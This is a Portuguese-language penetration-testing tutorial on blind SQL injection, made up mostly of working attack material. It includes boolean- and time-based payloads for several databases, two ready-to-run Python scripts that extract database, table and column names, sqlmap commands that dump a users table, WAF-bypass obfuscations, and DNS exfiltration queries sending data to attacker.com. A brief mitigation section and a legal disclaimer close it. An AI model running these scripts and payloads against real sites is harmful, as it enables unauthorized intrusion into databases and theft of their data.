O que é Blind SQL Injection?

Blind SQL Injection ocorre quando uma aplicação é vulnerável a SQL Injection, mas não retorna os resultados da query nem mensagens de erro na resposta HTTP. O atacante precisa inferir o conteúdo do banco de dados com base em comportamentos indiretos da aplicação.

Existem dois tipos principais:

TipoMecanismoVelocidade
Boolean-basedAvalia TRUE/FALSE na respostaLenta
Time-basedMede atraso na resposta (SLEEP)Muito lenta
Error-basedProvoca erros com dados embutidosRápida
Out-of-bandExfiltração via DNS/HTTPRápida

Identificando a vulnerabilidade

Teste básico de injeção

GET /user?id=1 HTTP/1.1
Host: target.com

Injete condições booleanas e observe diferenças de resposta:

# Condição TRUE — resposta normal
/user?id=1 AND 1=1--

# Condição FALSE — resposta diferente (sem conteúdo, redirect, etc.)
/user?id=1 AND 1=2--

Se as respostas forem visivelmente diferentes entre TRUE e FALSE, o endpoint é vulnerável a boolean-based blind SQLi.

Teste time-based

# MySQL / MariaDB
/user?id=1 AND SLEEP(5)--

# PostgreSQL
/user?id=1 AND pg_sleep(5)--

# MSSQL
/user?id=1; WAITFOR DELAY '0:0:5'--

# Oracle
/user?id=1 AND 1=DBMS_PIPE.RECEIVE_MESSAGE('a',5)--

Se a resposta demorar exatamente 5 segundos, o backend é vulnerável.


Boolean-Based Exploitation (Manual)

A técnica consiste em fazer perguntas de sim/não ao banco de dados, extraindo um caractere por vez.

Identificando o banco de dados

-- MySQL
1 AND SUBSTRING(@@version,1,1)='5'--

-- PostgreSQL
1 AND SUBSTRING(version(),1,10)='PostgreSQL'--

-- MSSQL
1 AND SUBSTRING(@@version,1,9)='Microsoft'--

Extraindo o nome do banco atual

-- Tamanho do nome
1 AND LENGTH(database())=6--

-- Primeiro caractere
1 AND SUBSTRING(database(),1,1)='d'--

-- Segundo caractere
1 AND SUBSTRING(database(),2,1)='v'--

Script Python para automação boolean-based

#!/usr/bin/env python3
# blind_sqli_extract.py — Boolean-based extractor

import requests
import string
import sys

TARGET = "http://target.com/user"
PARAM  = "id"
CHARS  = string.ascii_lowercase + string.digits + "_-@."

def inject(payload: str) -> bool:
    """Returns True if the injection condition is TRUE."""
    params = {PARAM: f"1 AND ({payload})-- -"}
    r = requests.get(TARGET, params=params, timeout=10)
    # Adjust the marker to whatever differentiates TRUE from FALSE
    return "Welcome" in r.text

def extract_string(query: str, max_len: int = 64) -> str:
    """Extract a string value one character at a time."""
    result = ""
    for pos in range(1, max_len + 1):
        found = False
        for ch in CHARS:
            payload = f"SUBSTRING(({query}),{pos},1)='{ch}'"
            if inject(payload):
                result += ch
                sys.stdout.write(ch)
                sys.stdout.flush()
                found = True
                break
        if not found:
            break  # End of string
    print()
    return result

if __name__ == "__main__":
    print("[*] Extracting database name...")
    db = extract_string("SELECT database()")
    print(f"[+] Database: {db}")

    print("[*] Extracting first table name...")
    table = extract_string(
        f"SELECT table_name FROM information_schema.tables "
        f"WHERE table_schema='{db}' LIMIT 1"
    )
    print(f"[+] First table: {table}")

    print("[*] Extracting columns...")
    cols = extract_string(
        f"SELECT GROUP_CONCAT(column_name) FROM information_schema.columns "
        f"WHERE table_name='{table}'"
    )
    print(f"[+] Columns: {cols}")

Time-Based Exploitation (Manual)

Quando não há diferença visual na resposta, use atrasos de tempo como canal de informação.

#!/usr/bin/env python3
# time_based_sqli.py — Time-based extractor

import requests
import string
import time
import sys

TARGET    = "http://target.com/user"
PARAM     = "id"
DELAY     = 3      # seconds to sleep if TRUE
THRESHOLD = 2.5    # detection threshold
CHARS     = string.ascii_lowercase + string.digits + "_-@."

def inject_time(payload: str) -> bool:
    """Returns True if the response took longer than THRESHOLD."""
    full = f"1 AND IF(({payload}), SLEEP({DELAY}), 0)-- -"
    params = {PARAM: full}
    start = time.time()
    try:
        requests.get(TARGET, params=params, timeout=DELAY + 5)
    except requests.exceptions.Timeout:
        return True
    elapsed = time.time() - start
    return elapsed >= THRESHOLD

def extract_string(query: str, max_len: int = 64) -> str:
    result = ""
    for pos in range(1, max_len + 1):
        found = False
        for ch in CHARS:
            payload = f"SUBSTRING(({query}),{pos},1)='{ch}'"
            if inject_time(payload):
                result += ch
                sys.stdout.write(ch)
                sys.stdout.flush()
                found = True
                break
        if not found:
            break
    print()
    return result

if __name__ == "__main__":
    print("[*] Time-based extraction — this will be slow...")
    db = extract_string("SELECT database()")
    print(f"[+] Database: {db}")

NOTA: Time-based SQLi é extremamente lento para strings longas. Use binary search (ascii range) para otimizar.

def extract_char_binary(query: str, pos: int) -> str:
    """Extract a single character using binary search on ASCII value."""
    lo, hi = 32, 126  # printable ASCII range
    while lo < hi:
        mid = (lo + hi) // 2
        payload = f"ASCII(SUBSTRING(({query}),{pos},1))>{mid}"
        if inject_time(payload):
            lo = mid + 1
        else:
            hi = mid
    return chr(lo) if 32 <= lo <= 126 else ''

Usando sqlmap

Para automação profissional, o sqlmap é a ferramenta padrão.

# Detecção básica
sqlmap -u "http://target.com/user?id=1" --batch

# Forçar técnicas específicas
sqlmap -u "http://target.com/user?id=1" \
  --technique=BT \
  --batch \
  --level=3 \
  --risk=2

# Extrair banco, tabelas e dump
sqlmap -u "http://target.com/user?id=1" \
  --dbs \
  --batch

sqlmap -u "http://target.com/user?id=1" \
  -D target_db \
  --tables \
  --batch

sqlmap -u "http://target.com/user?id=1" \
  -D target_db \
  -T users \
  --dump \
  --batch

# Via POST request
sqlmap -u "http://target.com/login" \
  --data="username=admin&password=test" \
  -p username \
  --batch

# Via Burp intercepted request
sqlmap -r request.txt --batch --level=5

# Com cookie de sessão autenticado
sqlmap -u "http://target.com/profile?id=1" \
  --cookie="session=abc123; csrftoken=xyz" \
  --batch

sqlmap com proxy (Burp Suite)

sqlmap -u "http://target.com/user?id=1" \
  --proxy="http://127.0.0.1:8080" \
  --batch \
  --tamper=space2comment,randomcase

Bypass de WAF

Tamper scripts úteis do sqlmap

# Espaço → comentário SQL
--tamper=space2comment

# Case aleatório: SELECT → SeLeCt
--tamper=randomcase

# Encode URL dos payloads
--tamper=percentage

# Combinar múltiplos tampers
--tamper=space2comment,randomcase,between

Payloads ofuscados manualmente

-- Espaços substituídos por comentários
1/**/AND/**/1=1--

-- Inline comments para separar keywords
1 /*!AND*/ 1=1--

-- Hex encoding de strings
1 AND SUBSTRING(database(),1,1)=0x64--

-- Double URL encoding (para WAFs que decodificam uma vez)
%2527  →  %27'

Out-of-Band (OOB) Exfiltration

Quando ambos boolean e time-based estão bloqueados, exfiltre via DNS ou HTTP.

MySQL — DNS Exfiltration

-- Exige FILE privilege e resolução DNS externa
SELECT LOAD_FILE(CONCAT('\\\\',
  (SELECT database()),
  '.attacker.com\\share'))--

MSSQL — xp_dirtree DNS

-- Via xp_dirtree (não precisa de xp_cmdshell)
EXEC master.dbo.xp_dirtree
  '\\' + (SELECT TOP 1 table_name FROM information_schema.tables) + '.attacker.com\x'--

Capturando com interactsh ou Burp Collaborator

# Iniciar listener com interactsh-client
interactsh-client -v

# Sua URL de callback fica em: xxxx.interactsh.com
# Use no payload:
# ' AND LOAD_FILE(CONCAT('\\\\', database(), '.xxxx.interactsh.com\\x'))--

Mitigação

VetorControle Recomendado
Query dinâmicaUsar Prepared Statements / Parameterized Queries
ORM inseguroEvitar raw queries; usar ORMs com bind parameters
Erros verbososDesabilitar stack traces em produção
Ausência de WAFImplementar WAF com regras OWASP CRS
Permissões excessivasDB user deve ter apenas SELECT nas tabelas necessárias
OOB via DNSBloquear resolução DNS de saída no servidor DB
# SEGURO: Parameterized query em Python (psycopg2)
import psycopg2

conn = psycopg2.connect("dbname=app user=readonly")
cur  = conn.cursor()

user_id = request.args.get("id")
cur.execute("SELECT username FROM users WHERE id = %s", (user_id,))
row = cur.fetchone()

Referências

AVISO LEGAL: Este conteúdo é destinado exclusivamente a profissionais de segurança autorizados. O uso destas técnicas em sistemas sem autorização explícita é ilegal. KBM Security não se responsabiliza pelo uso indevido.